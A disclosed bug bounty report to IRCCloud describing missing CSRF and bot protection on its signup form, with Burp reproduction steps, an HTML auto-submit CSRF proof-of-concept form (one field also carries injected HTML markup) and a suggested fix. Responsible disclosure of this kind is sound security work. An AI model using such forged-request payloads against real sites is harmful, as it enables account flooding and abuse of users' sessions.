IRCCloud · Report #7332
CSRF - Creating accounts
Validstatus
1upvotes
14 May 2014disclosed
How it was found
Hi there,
I've discovered the following CSRF issue: There's no CSRF / Bot protection on the registration form.
Details
An attacker could automate the registration process to flood your database with invalid/useless accounts. He could also source the process out to his victims (CSRF).
Steps to reproduce
- 2 . Turn on burp and submit the registration form
-
- Remove the "token" and "_reqid" parameter from the request body and forward it
-
- The account should be created succesfully.
CSRF PoC:
<html>
<body>
<form action="https://www.irccloud.com/chat/signup" method="POST">
<input type="hidden" name="email" value="tes3@internetwache.org" />
<input type="hidden" name="password" value="fooobar" />
<input type="hidden" name="realname" value="test"><h1>foobar</h1>" />
<input type="hidden" name="invite" value="" />
<input type="hidden" name="org_invite" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
How to fix?
Either validate the "token" parameter server side or use a CAPTCHA to fight bots. The latter would be the prefered fix in my opinion.
Yours sincerely, Sebastian Neef